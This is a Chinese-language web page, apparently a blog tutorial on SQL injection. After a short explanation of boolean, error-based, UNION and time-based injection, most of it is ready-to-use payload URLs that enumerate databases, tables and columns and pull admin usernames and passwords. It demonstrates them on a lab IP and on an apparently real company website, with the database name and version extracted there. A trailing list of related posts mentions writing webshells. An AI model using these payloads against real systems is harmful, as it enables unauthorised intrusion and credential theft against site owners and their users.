1. 程式人生 > >sql注入詳解

sql注入詳解

什麼是sql注入

Sql注入是一種將sql程式碼插入或新增到應用(使用者)的輸入引數中的攻擊,之後再將這些引數傳遞給後臺的SQL伺服器加以解析並執行。由於sql語句本身多樣性,以及可用於構造的sql語句編碼方法很多,因此凡是構造sql語句沒有過濾的均存在被潛在攻擊的風險。


Sql注入產生的原因:沒有過濾或者過濾不全

Sql注入的分類:

根據注入的語法可以分為

Boolean-based blind SQL injection(布林型注入)

Error-based SQL injection(報錯型注入)

Union query SQL injection(可聯合查詢注入)

Stack queries SQL injection(可多語句查詢注入)

Time-base blind SQL injection(基於時間的注入)

根據SQL資料型別分類

*整型注入

*字串型別注入

*搜尋型別注入

判斷sql注入漏洞

*url上檢視

*程式碼上檢視

URL判斷注入

*and 1=1 / and 1=2 回顯頁面不同(整型判斷)

*單引號判斷’顯示資料庫錯誤資訊(整型,字串型別判斷)

*\

*隨機輸入判斷方法(整型判斷)

*-1/+1回顯上個頁面(整型判斷)

*and sleep(5)(判斷頁面返回時間)

布林型別注入

http://xxxx.com/php?id=1 and substring(version(),1,1)=5,如果服務端mysql是5.x的話,那麼頁面返回的內容和正常一樣

布林型別的環境

當一個頁面存在注入,但是沒有顯示位,而且沒有資料庫出錯資訊,只能通過頁面返回正常不正常進行判斷進行sql注入,就需要使用Boolean-based blind SQL injection(布林注入)

布林注入優缺點

優點

不需要顯示位

   不需要程式碼輸出mysql_error()資訊

缺點

就是速度太慢

進行布林注入時需要掌握,exists(),ascii(),substr()函式

  注入語法

?id=1’ and exists(select * from information_schema.tables) --+

?id=’ and (select length(version()))=6 --+ #判斷version()返回字串長度

?id=1’ and (select count(distinct+table_schema)from information_schema.tables)>10 --+ #判斷有多少個庫

?id=1’ and(select ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1)))>100 --+ #判斷第一個資料庫的第 一個字元

Mysql 報錯型注入

*mysql報錯型注入方法整理,通過floor,UpdateXml,ExtractValue,NAME_CONST,Error basesd Double Query injection等方法

通過floor暴庫

/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),fl oor(rand(0)*2))x from information_schema.tables group by x)a) --獲取版本號

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --獲取資料庫

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--獲取表名字

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --獲取欄位名稱

 /sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --獲取內容

Union query SQL injection(可聯合查詢注入)

利用前提

*頁面上有顯示位

 union select  

Union操作符用於合成兩個或多個select語句的結果集。

需要注意的是,union內部的select語句必須擁有相同的數量的列。列也必須擁有相似的資料型別。同時每條select語句中的列的順序必須相同。

判斷列數

Order by 10

 Order by 1

判斷顯示位

Union select 1,2,3

看那個數字被顯示出來

Union select 1,2,user() //獲取當前連線資料庫使用者名稱

Union select 1,2,database() //獲取當前使用的庫名

Information_schema 獲取當前資料庫所有的表在mysql5以上的版本存在

Get注入 就是在url中注入,也是最常見的注入(一般使用工具,ad,明小子,穿山甲,蘿蔔頭,推薦使用sqlmap)

Post注入(表單注入)例如,後臺登入框注入,也可以用sqlmap工具

Cookie注入用burpsuit抓包改包

爆出了表名和列名

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,admin_firstname,admin_password,4,5,6,7,8 from admin

//爆出使用者名稱和密碼

Get型別的注入(基於url上的注入)

(一)access+asp型別的布林型別的注入

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and 1=1 //顯示正常

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and 1=2//顯示不正常

說明存在sql注入

使用exists()函式判斷表名,列名的存在,這裡如果才接的表名或者列名不存在,可以換一些其他的常見的表民或者列名進行猜解

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select * from admin) //返回正常說明存在admin表

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select username from admin) //返回錯誤說明在admin這個表中不存在username這個列

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select admin from admin) //返回正常說明在admin表中存在admin這個列

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and  exists(select password from admin)//返回正常說明在admin這個表中存在password這個列

判斷賬號長度 :

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 len(admin) from admin)=5

判斷密碼長度:http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 len(password) from admin)=16

確定資料的ascii編碼:

and (select top 1 asc(mid(admin,1,1)) from admin)=97

97,100,109等等

猜解密碼的ascii碼:

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  and (select top 1 asc(mid(password,1,1)) from admin)=97

(二)access+asp l聯合查詢的注入(union select

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  order by 22//這裡order by 排序,從而判斷列的個數

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin  爆出顯示位

http://192.168.242.139/0/Production/PRODUCT_DETAIL.asp?id=1142  UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

使用者名稱和密碼就直接出來了!

(一)php+mysql注入

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  and 1=1 //返回正常

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  and 1=2//返回不正常

說明存在sql注入

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=4  order by 8 //order by 為8時返回正常說明 欄位列表長度為8

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,2,3,4,5,6,7,8 //url中讓id為- ,從爆出顯示位

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,user(),3,4,5,6,7,8 // 爆出連線資料庫的使用者名稱 為 [email protected]

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,database(),3,4,5,6,7,8//爆出資料庫名為xbase

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,version(),3,4,5,6,7,8 //爆出資料庫的版本號為5.1.51-community

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema=0x7862617365

爆出表名為admin

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name=0x61646D696E

爆出了表名和列名

http://www.microtek.com.cn/happystudy/happystudy_info.php?idnow=-4  UNION SELECT 1,admin_firstname,admin_password,4,5,6,7,8 from admin

//爆出使用者名稱和密碼

相關推薦

Sql 注入:寬位元組注入+二次注入

sql注入漏洞 原理:由於開發者在編寫操作資料庫程式碼時,直接將外部可控引數拼接到sql 語句中,沒有經過任何過濾就直接放入到資料庫引擎中執行了。 攻擊方式: (1) 許可權較大時,直接寫入webshell 或者直接執行系統命令 (2) 許可權較小時,通過注入獲得管理

sql注入

什麼是sql注入 Sql注入是一種將sql程式碼插入或新增到應用(使用者)的輸入引數中的攻擊,之後再將這些引數傳遞給後臺的SQL伺服器加以解析並執行。由於sql語句本身多樣性,以及可用於構造的sql語

java當中sql注入

(1)程式碼如下package cn.packa.wwy;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLExcepti

SQL注入及技巧

Tip小技巧 :在白盒測試的過程中,在sql語句的下一句加上 echo $sql. '<br>'; 可以在頁面中輸出完整的sql語句 效果圖   :   查詢資料庫資訊: 以下用法均為:?id=1 and 1=2 union select 1,2,查詢詞 ve

[轉載]sql寬位元組注入

儘管現在呼籲所有的程式都使用unicode編碼,所有的網站都使用utf-8編碼,來一個統一的國際規範。但仍然有很多,包括國內及國外(特別是非英語國家)的一些cms,仍然使用著自己國家的一套編碼,比如gbk,作為自己預設的編碼型別。也有一些cms為了考慮老使用者,所以出了gbk

008-Hadoop Hive sql語法3-DML 操作:元數據存儲

pan 查詢 寫入 所有 not insert語句 int 寫入文件 文件系統 一、概述 hive不支持用insert語句一條一條的進行插入操作,也不支持update操作。數據是以load的方式加載到建立好的表中。數據一旦導入就不可以修改。 DML包括:INSERT插入

SQL*Loader

相關 let 最後登錄 bus repl () database eve res 在 Oracle 數據庫中,我們通常在不同數據庫的表間記錄進行復制或遷移時會用以下幾種方法:1. A 表的記錄導出為一條條分號隔開的 insert 語句,然後執行插入到 B 表中2. 建立數據

017-Hadoop Hive sql語法7-去重排序、數據傾斜

col 去重排序 sel cluster 可能 更多 分發 指定 clust 一、數據去重排序 1.1、去重   distinct與group by   盡量避免使用distinct進行排重,特別是大表操作,用group by代替   -- 不建議 selec

016-Hadoop Hive sql語法6-job輸入輸出優化、數據剪裁、減少job數、動態分區

分享 hive table 取數 nbsp put union 正在 style 一、job輸入輸出優化 善用muti-insert、union all,不同表的union all相當於multiple inputs,同一個表的union all,相當map一次輸出多條

MySQL用戶管理及SQL語句

shel row 不能 mode form lte entos 本體 lin 1.1 MySQL用戶管理 1.1.1 用戶的定義   用戶名+主機域 mysql> select user,host,password from mysql.user; +--

1.1 MySQL用戶管理及SQL語句

3.1 match format cmake caf 物理 字符串類 float 都是 1.1 MySQL用戶管理 1.1.1 用戶的定義   用戶名+主機域 mysql> select user,host,password from mysql.use

MySQL(MariaDB)常用SQL語句

DDL(Data Definition Language)資料定義語言 這些語句定義了不同的資料段、 資料庫、表、列、索引等資料庫物件的定義。常用的語句關鍵字主要包括 create、drop、alter 等。 資料庫管理 --刪除資料庫 drop database if

【轉】MySQL使用者管理及SQL語句

【轉】MySQL使用者管理及SQL語句詳解 1.1 MySQL使用者管理 1.1.1 使用者的定義   使用者名稱+主機域 mysql> select user,host,password from mysql.user; +--------+------------+---------

explain分析SQL語句

效能分析explain  MySql Query Optimizer是MySql中專門負責優化select語句的優化器模組,主要功能:通過計算分析系統中收集到的系統資訊,為客戶端請求的Query提供他認為最優的執行計劃(系統認為最優的資料檢索方式,但不見得是DBA認為最優的,這部分最耗費時間) MySQL常

例題SQL語句-資料庫基本操作1

1.1 連線伺服器 通過命令列面板連線 host:主機 -h username:使用者名稱 -u password:密碼 -p port:埠 -P 多學一招:如果MySQL伺服器在本地,IP

例題SQL語句-資料庫基本操作2

1.4 表的操作 1.4.1 顯示所有表 語法: show tables 1.4.2 建立表 語法: create table [if not exists] 表名( 欄位名 資料型別 [null|not null] [auto_in

例題SQL語句-資料庫基本操作4

1.6 SQL分類 DDL(data definition language)資料庫定義語言create、alter、drop、shop DML(data manipulation language)資料操縱語言select、update、ins

例題SQL語句-資料庫基本操作6-資料型別拓展

1.3 資料型別——列舉(enum) 1、從集合中選擇一個數據(單選) mysql> create table t8( -> name varchar(20), -> sex enum('男','女','保密')

Hadoop Hive sql語法

Hive 是基於Hadoop 構建的一套資料倉庫分析系統,它提供了豐富的SQL查詢方式來分析儲存在Hadoop 分散式檔案系統中的資料,可以將結構化的資料檔案對映為一張資料庫表,並提供完整的SQL查詢功能,可以將SQL語句轉換為MapReduce任務進行執行,通過自己的SQL

例題SQL語句-資料庫基本操作7-資料型別拓展

| 1.6 資料型別——boolean MySQL不支援boolean型別,true和false在資料庫中對應1和0。 mysql> create table t15( -> field boolean -> ); Query